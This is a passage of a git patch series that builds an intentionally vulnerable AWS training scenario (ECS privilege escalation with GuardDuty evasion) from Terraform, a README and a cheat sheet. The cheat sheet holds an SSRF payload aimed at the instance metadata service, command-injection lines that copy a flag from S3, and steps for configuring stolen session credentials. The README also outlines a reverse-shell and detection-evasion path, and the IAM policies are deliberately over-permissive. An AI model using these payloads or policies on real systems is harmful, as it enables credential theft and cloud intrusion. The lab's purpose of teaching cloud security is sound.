"ec2.amazonaws.com", + "ecs-tasks.amazonaws.com" + ] + } + }, + ] + }) +} + +# Target of Privesc. +# Using PassRole, ECS +resource "aws_iam_role" "s3_access" { + name = "cg-s3-access-role-${var.cgid}" + tags = { + deployment_profile = var.profile + Stack = var.stack-name + Scenario = var.scenario-name + } + + managed_policy_arns = [ + "arn:aws:iam::aws:policy/AmazonS3FullAccess" + ] + + assume_role_policy = jsonencode({ + Version = "2012-10-17" + Statement = [ + { + Action = "sts:AssumeRole" + Effect = "Allow" + Principal = { + Service = [ + "ecs-tasks.amazonaws.com" + ] + } + }, + ] + }) +} + +# Define Lambda's role for sending mail if GuardDuty detects an attack. +# The mail will be sent with SES. +resource "aws_iam_role" "lambda_role" { + name = "cg-lambda-role-${var.cgid}" + tags = { + deployment_profile = var.profile + Stack = var.stack-name + Scenario = var.scenario-name + } + + managed_policy_arns = [ + "arn:aws:iam::aws:policy/AmazonSESFullAccess", + "arn:aws:iam::aws:policy/service-role/AWSLambdaBasicExecutionRole" + ] + + inline_policy { + name = "cg-lambda-inline-policy" + policy = jsonencode({ + Version = "2012-10-17", + Statement = [ + { + Effect = "Allow", + Action = [ + "iam:DetachRolePolicy", + "iam:AttachRolePolicy", + "iam:ListAttachedRolePolicies", + "iam:GetRole", + "iam:PassRole", + "iam:ListAttachedRolePolicies", + "iam:ListRolePolicies", + "iam:GetRolePolicy", + "iam:PutRolePolicy", + "iam:DeleteRolePolicy" + ], + Resource = [ + aws_iam_role.ec2_role.arn, + aws_iam_role.ec2_role_sub.arn + ] + },{ + Effect = "Allow", + Action = [ + "guardduty:ListFindings", + "guardduty:UpdateFindingsFeedback", + "ec2:DescribeIamInstanceProfileAssociations", + "ec2:ReplaceIamInstanceProfileAssociation" + ], + Resource = "*" + } + ] + }) + } + + assume_role_policy = jsonencode({ + "Version" : "2012-10-17", + "Statement" : [ + { + "Action" : "sts:AssumeRole", + "Effect" : "Allow", + "Principal" : { + "Service" : "lambda.amazonaws.com" + } + } + ] + }) +} + +resource "aws_iam_policy" "cg_web_developer_policy" { + name = "cg-web-developer-policy-${var.cgid}" + policy = jsonencode({ + Version = "2012-10-17", + Statement = [ + { + Sid = "VisualEditor0", + Effect = "Allow", + Resource = "*", + Action = [ + "iam:PassRole", + "iam:Get*", + "ec2:DescribeInstances", + "iam:List*", + "ecs:RunTask", + "ecs:Describe*", + "ecs:RegisterTaskDefinition", + "ec2:DescribeSubnets", + "ecs:List*", + "s3:*" + ] + } + ] + }) +} + +# Getting instance profile for lambda +resource "aws_iam_instance_profile" "instance_profile_1" { + name = "cg-instance-profile-${var.cgid}" + role = aws_iam_role.ec2_role.name +} + +resource "aws_iam_instance_profile" "instance_profile_2" { + name = "cg-instance-profile-sub-${var.cgid}" + role = aws_iam_role.ec2_role_sub.name +} \ No newline at end of file diff --git a/scenarios/ecs_privesc_evade_protection/terraform/lambda.tf b/scenarios/ecs_privesc_evade_protection/terraform/lambda.tf new file mode 100644 index 00000000..16dc8e48 --- /dev/null +++ b/scenarios/ecs_privesc_evade_protection/terraform/lambda.tf @@ -0,0 +1,49 @@ +# Define Lambda for sending emails. +resource "aws_lambda_function" "guardduty_lambda" { + function_name = "cg-guardduty-lambda-${var.cgid}" + role = aws_iam_role.lambda_role.arn + handler = "index.lambda_handler" + runtime = "python3.11" + timeout = 10 + filename = "../assets/lambda.zip" + depends_on = [null_resource.lambda_zip] + + environment { + variables = { + USER_EMAIL = var.user_email + IAM_ROLE_1 = aws_iam_role.ec2_role.name + IAM_ROLE_2 = aws_iam_role.ec2_role_sub.name + INSTANCE_PROFILE_1 = aws_iam_instance_profile.instance_profile_1.name + INSTANCE_PROFILE_2 = aws_iam_instance_profile.instance_profile_2.name + GUARDDUTY_DETECTOR_ID = aws_guardduty_detector.detector.id + ACCOUNT_ID = data.aws_caller_identity.current.account_id + } + } +} + +resource "aws_lambda_permission" "allow_event_bridge" { + statement_id = "AllowExecutionFromEventBridge" + action = "lambda:InvokeFunction" + function_name = aws_lambda_function.guardduty_lambda.function_name + principal = "events.amazonaws.com" + source_arn = aws_cloudwatch_event_rule.guardduty_events.arn +} + +resource "null_resource" "lambda_zip" { + triggers = { + always_run = timestamp() + } + + provisioner "local-exec" { + when = create + command = < 0 ? "Scenario start at : http://${data.aws_instances.asg_instance.public_ips[0]}" : "" +} + +data "aws_caller_identity" "current" {} + +# Search based on tag to get the IP of EC2 that is automatically generated by ASG. +data "aws_instances" "asg_instance" { + depends_on = [time_sleep.wait_for_instance] + + instance_tags = { + Name = "cg-ec2-instance-${var.cgid}" + } +} + +# Wait a little for ec2 be created in ASG. +resource "time_sleep" "wait_for_instance" { + depends_on = [aws_autoscaling_group.asg] + create_duration = "30s" +} \ No newline at end of file diff --git a/scenarios/ecs_privesc_evade_protection/terraform/provider.tf b/scenarios/ecs_privesc_evade_protection/terraform/provider.tf new file mode 100644 index 00000000..1e9ce4cf --- /dev/null +++ b/scenarios/ecs_privesc_evade_protection/terraform/provider.tf @@ -0,0 +1,4 @@ +provider "aws" { + profile = var.profile + region = var.region +} diff --git a/scenarios/ecs_privesc_evade_protection/terraform/s3.tf b/scenarios/ecs_privesc_evade_protection/terraform/s3.tf new file mode 100644 index 00000000..83bd3c4d --- /dev/null +++ b/scenarios/ecs_privesc_evade_protection/terraform/s3.tf @@ -0,0 +1,72 @@ +#Secret S3 Bucket +locals { + # Ensure the bucket suffix doesn't contain invalid characters + # "Bucket names can consist only of lowercase letters, numbers, dots (.), and hyphens (-)." + # (per https://docs.aws.amazon.com/AmazonS3/latest/userguide/bucketnamingrules.html) + bucket_suffix = replace(var.cgid, "/[^a-z0-9-.]/", "-") +} + +# Create Secret Bucket +resource "aws_s3_bucket" "secret-s3-bucket" { + bucket = "cg-s3-${local.bucket_suffix}" + force_destroy = true +} + +# Store secret string in flag.txt +resource "aws_s3_object" "credentials" { + bucket = aws_s3_bucket.secret-s3-bucket.id + key = "flag.txt" + source = "../assets/flag.txt" +} + +# AWS CLI logs for GuardDuty analysis +resource "aws_s3_bucket" "cloudtrail_bucket" { + bucket = "cg-cloudtrail-s3-${local.bucket_suffix}" + force_destroy = true +} + +# Block public access for Cloudtrail Logs Bucket +resource "aws_s3_bucket_public_access_block" "trail_bucket_block_public" { + bucket = aws_s3_bucket.cloudtrail_bucket.id + + block_public_acls = true + block_public_policy = true + restrict_public_buckets = true + ignore_public_acls = true +} + +resource "aws_s3_bucket_policy" "trail_bucket_policy" { + bucket = aws_s3_bucket.cloudtrail_bucket.id + policy = jsonencode({ + Version = "2012-10-17", + Statement = [ + { + Effect = "Allow", + Action = "s3:GetObject", + Resource = "${aws_s3_bucket.cloudtrail_bucket.arn}/*", + Principal = { + Service = "guardduty.amazonaws.com" + } + },{ + Effect = "Allow", + Action = "s3:PutObject", + Resource = "${aws_s3_bucket.cloudtrail_bucket.arn}/*", + Principal = { + Service = "cloudtrail.amazonaws.com" + }, + Condition = { + StringEquals = { + "s3:x-amz-acl" = "bucket-owner-full-control" + } + } + },{ + Effect = "Allow", + Action = "s3:GetBucketAcl", + Resource = aws_s3_bucket.cloudtrail_bucket.arn, + Principal = { + Service = "cloudtrail.amazonaws.com" + } + } + ] + }) +} \ No newline at end of file diff --git a/scenarios/ecs_privesc_evade_protection/terraform/ses.tf b/scenarios/ecs_privesc_evade_protection/terraform/ses.tf new file mode 100644 index 00000000..d9ba6427 --- /dev/null +++ b/scenarios/ecs_privesc_evade_protection/terraform/ses.tf @@ -0,0 +1,4 @@ +# Create SES for sending emails. +resource "aws_ses_email_identity" "email" { + email = var.user_email +} \ No newline at end of file diff --git a/scenarios/ecs_privesc_evade_protection/terraform/variables.tf b/scenarios/ecs_privesc_evade_protection/terraform/variables.tf new file mode 100644 index 00000000..4aa6c736 --- /dev/null +++ b/scenarios/ecs_privesc_evade_protection/terraform/variables.tf @@ -0,0 +1,39 @@ +variable "profile" { + description = "The AWS profile to use." + type = string +} + +variable "region" { + description = "The AWS region to deploy resources to." + default = "us-east-1" + type = string +} + +variable "cgid" { + description = "CGID variable for unique naming." + type = string +} + +variable "cg_whitelist" { + description = "User's public IP address(es)." + type = list(string) + default = ["127.0.0.1/24"] +} + +variable "stack-name" { + description = "Name of the stack." + default = "CloudGoat" + type = string +} + +variable "scenario-name" { + description = "Name of the scenario." + default = "ecs_task_shell" + type = string +} + +variable "user_email" { + description = "Once guardduty detects attack, a mail will be sent to you" + type = string +} + From e4442be2a419589176978bfaa212bff3ef564cd0 Mon Sep 17 00:00:00 2001 From: 3iuy Date: Thu, 2 Nov 2023 03:20:19 +0900 Subject: [PATCH 02/31] PR requirements reflected. Missing commit about user-email input for SES is reflected. --- core/python/commands.py | 6 +-- .../ecs_privesc_evade_protection/README.md | 6 +-- .../ecs_privesc_evade_protection/manifest.yml | 20 ++++++++ .../terraform/data_sources.tf | 47 +++++++++++++++++++ .../terraform/ecs.tf | 33 ++----------- .../{assets => terraform}/flag.txt | 0 .../{assets => terraform}/index.py | 0 .../terraform/lambda.tf | 22 +-------- .../terraform/outputs.tf | 17 ------- .../terraform/provider.tf | 13 ++++- .../terraform/s3.tf | 2 +- 11 files changed, 93 insertions(+), 73 deletions(-) create mode 100644 scenarios/ecs_privesc_evade_protection/manifest.yml create mode 100644 scenarios/ecs_privesc_evade_protection/terraform/data_sources.tf rename scenarios/ecs_privesc_evade_protection/{assets => terraform}/flag.txt (100%) rename scenarios/ecs_privesc_evade_protection/{assets => terraform}/index.py (100%) diff --git a/core/python/commands.py b/core/python/commands.py index 19d73dfa..73cf71cb 100644 --- a/core/python/commands.py +++ b/core/python/commands.py @@ -399,7 +399,7 @@ def create_scenario(self, scenario_name_or_path, profile): } # The if-else block below exists because the detection_evasion scenario requires user input at deploy time. - if scenario_name == "detection_evasion": + if scenario_name in ["detection_evasion", "ecs_privesc_evade_protection"]: tf_vars["user_email"] = self.get_user_email() plan_retcode, plan_stdout, plan_stderr = terraform.plan( @@ -525,7 +525,7 @@ def destroy_all_scenarios(self, profile): "region": self.aws_region, } - if scenario_name == "detection_evasion": + if scenario_name in ["detection_evasion", "ecs_privesc_evade_protection"]: tf_vars["user_email"] = self.get_user_email() destroy_retcode, destroy_stdout, destroy_stderr = terraform.destroy( @@ -620,7 +620,7 @@ def destroy_scenario(self, scenario_name_or_path, profile, confirmed=False): "region": self.aws_region, } - if scenario_name == "detection_evasion": + if scenario_name in ["detection_evasion", "ecs_privesc_evade_protection"]: tf_vars["user_email"] = self.get_user_email() destroy_retcode, destroy_stdout, destroy_stderr = terraform.destroy( diff --git a/scenarios/ecs_privesc_evade_protection/README.md b/scenarios/ecs_privesc_evade_protection/README.md index bd2ea6f7..51fd74af 100644 --- a/scenarios/ecs_privesc_evade_protection/README.md +++ b/scenarios/ecs_privesc_evade_protection/README.md @@ -2,9 +2,9 @@ --- -**Size**: `please choose one.` +**Size**: Medium -**Difficulty**: `please choose one.` +**Difficulty**: Moderate **Command**: `$ ./cloudgoat.py create guardduty_bypass_with_ecs` @@ -16,7 +16,7 @@ - 1 * ASG with : - 1 * EC2 - 1 * Service (web container) -- 2 * S3 (1 * scret, 1 * cloudtrail) +- 2 * S3 (1 * secret, 1 * cloudtrail) - Detection Mechanisms - GuardDuty enabled - CloudWatch diff --git a/scenarios/ecs_privesc_evade_protection/manifest.yml b/scenarios/ecs_privesc_evade_protection/manifest.yml new file mode 100644 index 00000000..1d2bd1c0 --- /dev/null +++ b/scenarios/ecs_privesc_evade_protection/manifest.yml @@ -0,0 +1,20 @@ +--- + # The name of the scenario, alpha-numeric characters only, and underscore-separated +- name: ecs_privesc_evade_protection + # The name of the author(s), comma separated +- author: Yong Siwoo, Park Do Kyu, Park Seo Hyun, Jung Ho Shim, Chae Jinsoo + # The version of the scenario, where major versions are breaking changes and minor are small fixes. +- version: 1.0 + # Text displayed to the user when they type "{{ scenario_name }} help" +- help: | + Within the container that is running a web hosting service on an EC2 instance managed by ECS, + please access the metadata service to obtain the temporary credentials for the EC2 instance. + Then, exploit these privileges to read the secret string inside the flag.txt file located within S3. + + Note: if AWS GuardDuty detects your attack, it will refresh the temporary credentials of the EC2 instance + and send an alert email to the registered address. + Endeavor to proceed with utmost caution to avoid triggering these alerts. + +# Records the date upon which this scenario was last updated, in MM-DD-YYYY format +- last-updated: 11-02-2023 +... \ No newline at end of file diff --git a/scenarios/ecs_privesc_evade_protection/terraform/data_sources.tf b/scenarios/ecs_privesc_evade_protection/terraform/data_sources.tf new file mode 100644 index 00000000..abae6140 --- /dev/null +++ b/scenarios/ecs_privesc_evade_protection/terraform/data_sources.tf @@ -0,0 +1,47 @@ +data "aws_caller_identity" "current" {} + +# Search based on tag to get the IP of EC2 that is automatically generated by ASG. +data "aws_instances" "asg_instance" { + depends_on = [time_sleep.wait_for_instance] + + instance_tags = { + Name = "cg-ec2-instance-${var.cgid}" + } +} + +# Get AMI of the latest version of Amazon Linux 2 for ECS. +data "aws_ami" "latest_amazon_linux" { + most_recent = true + + filter { + name = "name" + values = ["amzn2-ami-ecs-hvm-*-x86_64-ebs"] + } + + filter { + name = "virtualization-type" + values = ["hvm"] + } + + owners = ["amazon"] +} + +# EC2 is located in the default VPC. +data "aws_vpc" "default" { + default = true +} + +data "aws_subnets" "all_subnets" { + filter { + name = "vpc-id" + values = [data.aws_vpc.default.id] + } +} + +# compress index.py to lambda.zip +data "archive_file" "lambda_zip" { + type = "zip" + source_file = "./index.py" + output_file_mode = "0666" + output_path = "./lambda.zip" +} \ No newline at end of file diff --git a/scenarios/ecs_privesc_evade_protection/terraform/ecs.tf b/scenarios/ecs_privesc_evade_protection/terraform/ecs.tf index ab2b80a3..e3042929 100644 --- a/scenarios/ecs_privesc_evade_protection/terraform/ecs.tf +++ b/scenarios/ecs_privesc_evade_protection/terraform/ecs.tf @@ -163,31 +163,8 @@ resource "aws_ecs_task_definition" "web_task" { }]) } -# Get AMI of the latest version of Amazon Linux 2 for ECS. -data "aws_ami" "latest_amazon_linux" { - most_recent = true - - filter { - name = "name" - values = ["amzn2-ami-ecs-hvm-*-x86_64-ebs"] - } - - filter { - name = "virtualization-type" - values = ["hvm"] - } - - owners = ["amazon"] -} - -# EC2 is located in the default VPC. -data "aws_vpc" "default" { - default = true -} - -data "aws_subnets" "all_subnets" { - filter { - name = "vpc-id" - values = [data.aws_vpc.default.id] - } -} +# Wait a little for ec2 be created in ASG. +resource "time_sleep" "wait_for_instance" { + depends_on = [aws_autoscaling_group.asg] + create_duration = "30s" +} \ No newline at end of file diff --git a/scenarios/ecs_privesc_evade_protection/assets/flag.txt b/scenarios/ecs_privesc_evade_protection/terraform/flag.txt similarity index 100% rename from scenarios/ecs_privesc_evade_protection/assets/flag.txt rename to scenarios/ecs_privesc_evade_protection/terraform/flag.txt diff --git a/scenarios/ecs_privesc_evade_protection/assets/index.py b/scenarios/ecs_privesc_evade_protection/terraform/index.py similarity index 100% rename from scenarios/ecs_privesc_evade_protection/assets/index.py rename to scenarios/ecs_privesc_evade_protection/terraform/index.py diff --git a/scenarios/ecs_privesc_evade_protection/terraform/lambda.tf b/scenarios/ecs_privesc_evade_protection/terraform/lambda.tf index 16dc8e48..1157c52f 100644 --- a/scenarios/ecs_privesc_evade_protection/terraform/lambda.tf +++ b/scenarios/ecs_privesc_evade_protection/terraform/lambda.tf @@ -5,8 +5,8 @@ resource "aws_lambda_function" "guardduty_lambda" { handler = "index.lambda_handler" runtime = "python3.11" timeout = 10 - filename = "../assets/lambda.zip" - depends_on = [null_resource.lambda_zip] + filename = data.archive_file.lambda_zip.output_path + environment { variables = { @@ -29,21 +29,3 @@ resource "aws_lambda_permission" "allow_event_bridge" { source_arn = aws_cloudwatch_event_rule.guardduty_events.arn } -resource "null_resource" "lambda_zip" { - triggers = { - always_run = timestamp() - } - - provisioner "local-exec" { - when = create - command = < 0 ? "Scenario start at : http://${data.aws_instances.asg_instance.public_ips[0]}" : "" -} - -data "aws_caller_identity" "current" {} - -# Search based on tag to get the IP of EC2 that is automatically generated by ASG. -data "aws_instances" "asg_instance" { - depends_on = [time_sleep.wait_for_instance] - - instance_tags = { - Name = "cg-ec2-instance-${var.cgid}" - } -} - -# Wait a little for ec2 be created in ASG. -resource "time_sleep" "wait_for_instance" { - depends_on = [aws_autoscaling_group.asg] - create_duration = "30s" } \ No newline at end of file diff --git a/scenarios/ecs_privesc_evade_protection/terraform/provider.tf b/scenarios/ecs_privesc_evade_protection/terraform/provider.tf index 1e9ce4cf..5ad51f2d 100644 --- a/scenarios/ecs_privesc_evade_protection/terraform/provider.tf +++ b/scenarios/ecs_privesc_evade_protection/terraform/provider.tf @@ -1,4 +1,15 @@ +terraform { + required_version = ">= 2.0" + + required_providers { + aws = { + source = "hashicorp/aws" + version = ">= 5.0.0" + } + } +} + provider "aws" { profile = var.profile region = var.region -} +} \ No newline at end of file diff --git a/scenarios/ecs_privesc_evade_protection/terraform/s3.tf b/scenarios/ecs_privesc_evade_protection/terraform/s3.tf index 83bd3c4d..204c04b3 100644 --- a/scenarios/ecs_privesc_evade_protection/terraform/s3.tf +++ b/scenarios/ecs_privesc_evade_protection/terraform/s3.tf @@ -16,7 +16,7 @@ resource "aws_s3_bucket" "secret-s3-bucket" { resource "aws_s3_object" "credentials" { bucket = aws_s3_bucket.secret-s3-bucket.id key = "flag.txt" - source = "../assets/flag.txt" + source = "./flag.txt" } # AWS CLI logs for GuardDuty analysis From a36153991fddd009e47ace7919c7327165866d1a Mon Sep 17 00:00:00 2001 From: ysu Date: Mon, 6 Nov 2023 03:58:00 +0900 Subject: [PATCH 03/31] Add vpc.tf & resolve an issue about tf version. --- .../terraform/data_sources.tf | 4 ++ .../terraform/ecs.tf | 28 +------- .../terraform/provider.tf | 2 +- .../terraform/variables.tf | 2 +- .../terraform/vpc.tf | 72 +++++++++++++++++++ 5 files changed, 79 insertions(+), 29 deletions(-) create mode 100644 scenarios/ecs_privesc_evade_protection/terraform/vpc.tf diff --git a/scenarios/ecs_privesc_evade_protection/terraform/data_sources.tf b/scenarios/ecs_privesc_evade_protection/terraform/data_sources.tf index abae6140..53776c52 100644 --- a/scenarios/ecs_privesc_evade_protection/terraform/data_sources.tf +++ b/scenarios/ecs_privesc_evade_protection/terraform/data_sources.tf @@ -9,6 +9,10 @@ data "aws_instances" "asg_instance" { } } +data "aws_availability_zones" "current_az" { + state = "available" +} + # Get AMI of the latest version of Amazon Linux 2 for ECS. data "aws_ami" "latest_amazon_linux" { most_recent = true diff --git a/scenarios/ecs_privesc_evade_protection/terraform/ecs.tf b/scenarios/ecs_privesc_evade_protection/terraform/ecs.tf index e3042929..ab631bb6 100644 --- a/scenarios/ecs_privesc_evade_protection/terraform/ecs.tf +++ b/scenarios/ecs_privesc_evade_protection/terraform/ecs.tf @@ -41,7 +41,7 @@ resource "aws_autoscaling_group" "asg" { desired_capacity = 1 max_size = 1 min_size = 1 - vpc_zone_identifier = data.aws_subnets.all_subnets.ids + vpc_zone_identifier = [aws_subnet.public.id] tag { key = "Name" @@ -96,32 +96,6 @@ resource "aws_iam_instance_profile" "profile" { role = aws_iam_role.ec2_role.name } -# Security Group for EC2 -# Allow http from whitelist IP. -# Allow All outbound. -resource "aws_security_group" "allow_http" { - name = "cg-group-${var.cgid}" - description = "Allow inbound traffic on port 80 from whitelist IP" - - ingress { - from_port = 80 - to_port = 80 - protocol = "tcp" - cidr_blocks = var.cg_whitelist - } - - egress { - from_port = 0 - to_port = 0 - protocol = "-1" - cidr_blocks = ["0.0.0.0/0"] - } - - tags = { - Name = "allow_http" - } -} - # Define ECS Service as vulnerable web. # Web will be launch on container in EC2. resource "aws_ecs_service" "ssrf_web_service" { diff --git a/scenarios/ecs_privesc_evade_protection/terraform/provider.tf b/scenarios/ecs_privesc_evade_protection/terraform/provider.tf index 5ad51f2d..96f1ae69 100644 --- a/scenarios/ecs_privesc_evade_protection/terraform/provider.tf +++ b/scenarios/ecs_privesc_evade_protection/terraform/provider.tf @@ -1,5 +1,5 @@ terraform { - required_version = ">= 2.0" + required_version = ">= 1.6" required_providers { aws = { diff --git a/scenarios/ecs_privesc_evade_protection/terraform/variables.tf b/scenarios/ecs_privesc_evade_protection/terraform/variables.tf index 4aa6c736..51becce0 100644 --- a/scenarios/ecs_privesc_evade_protection/terraform/variables.tf +++ b/scenarios/ecs_privesc_evade_protection/terraform/variables.tf @@ -28,7 +28,7 @@ variable "stack-name" { variable "scenario-name" { description = "Name of the scenario." - default = "ecs_task_shell" + default = "ecs_privesc_evade_protection" type = string } diff --git a/scenarios/ecs_privesc_evade_protection/terraform/vpc.tf b/scenarios/ecs_privesc_evade_protection/terraform/vpc.tf new file mode 100644 index 00000000..6f16ed07 --- /dev/null +++ b/scenarios/ecs_privesc_evade_protection/terraform/vpc.tf @@ -0,0 +1,72 @@ +resource "aws_vpc" "vpc" { + cidr_block = "192.168.150.0/24" + enable_dns_support = true + enable_dns_hostnames = true + + tags = { + "Name" = "cg-${var.cgid}-main" + } +} + +resource "aws_internet_gateway" "internet_gateway" { + vpc_id = aws_vpc.vpc.id + + tags = { + "Name" = "cg-${var.cgid}-main" + } +} + +resource "aws_subnet" "public" { + vpc_id = aws_vpc.vpc.id + availability_zone = data.aws_availability_zones.current_az.names[0] + cidr_block = "192.168.150.0/26" + + tags = { + "Name" = "cg-${var.cgid}-public" + } +} + +resource "aws_route_table" "public" { + vpc_id = aws_vpc.vpc.id + + route { + cidr_block = "0.0.0.0/0" + gateway_id = aws_internet_gateway.internet_gateway.id + } + + tags = { + "Name" = "cg-${var.cgid}-public" + } +} + +resource "aws_route_table_association" "route_table_association" { + subnet_id = aws_subnet.public.id + route_table_id = aws_route_table.public.id +} + +# Security Group for EC2 +# Allow http from whitelist IP. +# Allow All outbound. +resource "aws_security_group" "allow_http" { + name = "cg-${var.cgid}-allow-http" + description = "Allow inbound traffic on port 80 from whitelist IP" + vpc_id = aws_vpc.vpc.id + + ingress { + from_port = 80 + to_port = 80 + protocol = "tcp" + cidr_blocks = var.cg_whitelist + } + + egress { + from_port = 0 + to_port = 0 + protocol = "-1" + cidr_blocks = ["0.0.0.0/0"] + } + + tags = { + Name = "cg-allow-http-${var.cgid}" + } +} \ No newline at end of file From dfa19cc27bd5f44fd62eeaf97260f50344cbb7c9 Mon Sep 17 00:00:00 2001 From: 3iuy Date: Mon, 6 Nov 2023 13:07:03 +0900 Subject: [PATCH 04/31] Remove duplicate writes of commands `echo "aws_session_token = " >> ~/.aws/credentials` --- scenarios/ecs_privesc_evade_protection/cheat_sheet.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/scenarios/ecs_privesc_evade_protection/cheat_sheet.md b/scenarios/ecs_privesc_evade_protection/cheat_sheet.md index 921f1400..95bf704f 100644 --- a/scenarios/ecs_privesc_evade_protection/cheat_sheet.md +++ b/scenarios/ecs_privesc_evade_protection/cheat_sheet.md @@ -6,7 +6,7 @@ Go to `http://` ``` http:///?url=http://[::ffff:a9fe:a9fe]/latest/meta-data/iam/security-credentials/ aws configure --profile attacker -echo "aws_session_token = " >> ~/.aws/credentials`echo "aws_session_token = " >> ~/.aws/credentials`echo "aws_session_token = " >> ~/.aws/credentials`echo "aws_session_token = " >> ~/.aws/credentials`echo "aws_session_token = " >> ~/.aws/credentials`echo "aws_session_token = " >> ~/.aws/credentials`echo "aws_session_token = " >> ~/.aws/credentials`echo "aws_session_token = " >> ~/.aws/credentials`echo "aws_session_token = " >> ~/.aws/credentials`echo "aws_session_token = " >> ~/.aws/credentials`echo "aws_session_token = " >> ~/.aws/credentials`echo "aws_session_token = " >> ~/.aws/credentials +echo "aws_session_token = " >> ~/.aws/credentials ``` ### Command Injection From 63f7f2a3aa02f60ab86bc86d9b1ae644bd58eeb8 Mon Sep 17 00:00:00 2001 From: 3iuy Date: Mon, 6 Nov 2023 13:49:22 +0900 Subject: [PATCH 05/31] remove unused data sources. - data "aws_vpc" "default" - data "aws_subnets" "all_subnets" --- .../terraform/data_sources.tf | 12 ------------ 1 file changed, 12 deletions(-) diff --git a/scenarios/ecs_privesc_evade_protection/terraform/data_sources.tf b/scenarios/ecs_privesc_evade_protection/terraform/data_sources.tf index 53776c52..52c34986 100644 --- a/scenarios/ecs_privesc_evade_protection/terraform/data_sources.tf +++ b/scenarios/ecs_privesc_evade_protection/terraform/data_sources.tf @@ -30,18 +30,6 @@ data "aws_ami" "latest_amazon_linux" { owners = ["amazon"] } -# EC2 is located in the default VPC. -data "aws_vpc" "default" { - default = true -} - -data "aws_subnets" "all_subnets" { - filter { - name = "vpc-id" - values = [data.aws_vpc.default.id] - } -} - # compress index.py to lambda.zip data "archive_file" "lambda_zip" { type = "zip" From bc94bfc0e092ff0dd57a8ded808a164c3689403f Mon Sep 17 00:00:00 2001 From: 3iuy Date: Mon, 6 Nov 2023 18:21:04 +0900 Subject: [PATCH 06/31] Add required_providers for archive & time. --- .../ecs_privesc_evade_protection/terraform/provider.tf | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/scenarios/ecs_privesc_evade_protection/terraform/provider.tf b/scenarios/ecs_privesc_evade_protection/terraform/provider.tf index 96f1ae69..de1cd7a6 100644 --- a/scenarios/ecs_privesc_evade_protection/terraform/provider.tf +++ b/scenarios/ecs_privesc_evade_protection/terraform/provider.tf @@ -6,6 +6,14 @@ terraform { source = "hashicorp/aws" version = ">= 5.0.0" } + archive = { + source = "hashicorp/archive" + version = ">= 2.4" + } + time = { + source = "hashicorp/time" + version = ">= 0.9" + } } } From 1c121f77a06c1f5d8c11c66394819b646b7133fc Mon Sep 17 00:00:00 2001 From: 3iuy Date: Mon, 6 Nov 2023 19:28:09 +0900 Subject: [PATCH 07/31] Define CloudWatch Lambda Log Group. --- .../ecs_privesc_evade_protection/terraform/cloudwatch.tf | 4 ++++ scenarios/ecs_privesc_evade_protection/terraform/lambda.tf | 1 - 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/scenarios/ecs_privesc_evade_protection/terraform/cloudwatch.tf b/scenarios/ecs_privesc_evade_protection/terraform/cloudwatch.tf index aa380010..a72ee59b 100644 --- a/scenarios/ecs_privesc_evade_protection/terraform/cloudwatch.tf +++ b/scenarios/ecs_privesc_evade_protection/terraform/cloudwatch.tf @@ -22,4 +22,8 @@ resource "aws_cloudwatch_event_target" "ecs_event_target" { # Note : The GuardDuty in the user account must be completely disabled to function normally. resource "aws_guardduty_detector" "detector" { enable = true +} + +resource "aws_cloudwatch_log_group" "lambda_log" { + name = "/aws/lambda/${aws_lambda_function.guardduty_lambda.function_name}" } \ No newline at end of file diff --git a/scenarios/ecs_privesc_evade_protection/terraform/lambda.tf b/scenarios/ecs_privesc_evade_protection/terraform/lambda.tf index 1157c52f..ceefb058 100644 --- a/scenarios/ecs_privesc_evade_protection/terraform/lambda.tf +++ b/scenarios/ecs_privesc_evade_protection/terraform/lambda.tf @@ -7,7 +7,6 @@ resource "aws_lambda_function" "guardduty_lambda" { timeout = 10 filename = data.archive_file.lambda_zip.output_path - environment { variables = { USER_EMAIL = var.user_email From c38018ffc56979359d2aae4e9769f7360874e891 Mon Sep 17 00:00:00 2001 From: 3iuy Date: Thu, 9 Nov 2023 09:35:37 +0900 Subject: [PATCH 08/31] Add Easy Path. - flag.txt is now for easy path. - secret-string.txt is for hard path. - refresh README.md & cheat_sheet.md. --- .../ecs_privesc_evade_protection/README.md | 10 +++- .../cheat_sheet.md | 47 +++++++++++++--- .../terraform/flag.txt | 2 +- .../terraform/iam.tf | 54 +++++++++++++++---- .../terraform/s3.tf | 11 +++- .../terraform/secret-string.txt | 1 + 6 files changed, 101 insertions(+), 24 deletions(-) create mode 100644 scenarios/ecs_privesc_evade_protection/terraform/secret-string.txt diff --git a/scenarios/ecs_privesc_evade_protection/README.md b/scenarios/ecs_privesc_evade_protection/README.md index 51fd74af..21848cbf 100644 --- a/scenarios/ecs_privesc_evade_protection/README.md +++ b/scenarios/ecs_privesc_evade_protection/README.md @@ -66,8 +66,14 @@ There is a very vulnerable website operating on AWS. The site's security adminis --- +### Easy Path - Attacker accesses the web service of a container inside EC2 managed by ECS. -- The attacker exploits vulnerabilities in a web service to access the EC2's credentials. +- The attacker exploits vulnerabilities in a web service to access the EC2's credentials or take control of the container. +- The attacker accesses S3. Gets the Secret String in `flag.txt` and exits the scenario. + +### Hard Path +- Attacker accesses the web service of a container inside EC2 managed by ECS. +- The attacker exploits vulnerabilities in a web service to access the EC2's credentials or take control of the container. - The attacker defines and executes an ECS task with the authority of the web developer to privesc or bypass mitigations. Perform a reverse shell attack to access the container been created. -- The attacker accesses S3 at the container to bypass GuardDuty detection. Gets the Secret String and exits the scenario. +- The attacker accesses S3 at the container to bypass GuardDuty detection. Gets the Secret String in `secret-string.txt` and exits the scenario. diff --git a/scenarios/ecs_privesc_evade_protection/cheat_sheet.md b/scenarios/ecs_privesc_evade_protection/cheat_sheet.md index 95bf704f..fd7365e6 100644 --- a/scenarios/ecs_privesc_evade_protection/cheat_sheet.md +++ b/scenarios/ecs_privesc_evade_protection/cheat_sheet.md @@ -1,3 +1,34 @@ +# Easy Path + +Go to `http://` + +### Command Injection + +``` +; aws s3 ls +; aws s3 ls s3:/// +; aws s3 cp s3:///flag.txt . +; cat flag.txt +``` + +### SSRF +``` +# SSRF Attack. +http:///?url=http://[::ffff:a9fe:a9fe]/latest/meta-data/iam/security-credentials/ + +# Configure credentials. +aws configure --profile attacker +echo "aws_session_token = " >> ~/.aws/credentials + +# Access to S3. +aws s3 ls +aws s3 ls s3:/// +aws s3 cp s3:///flag.txt . +cat flag.txt +``` + + +# Hard Path Go to `http://` @@ -30,9 +61,9 @@ aws iam list-roles - more information about ecs ``` -`aws ecs list-clusters` -`aws ecs describe-clusters --clusters ` -`aws ecs list-container-instances 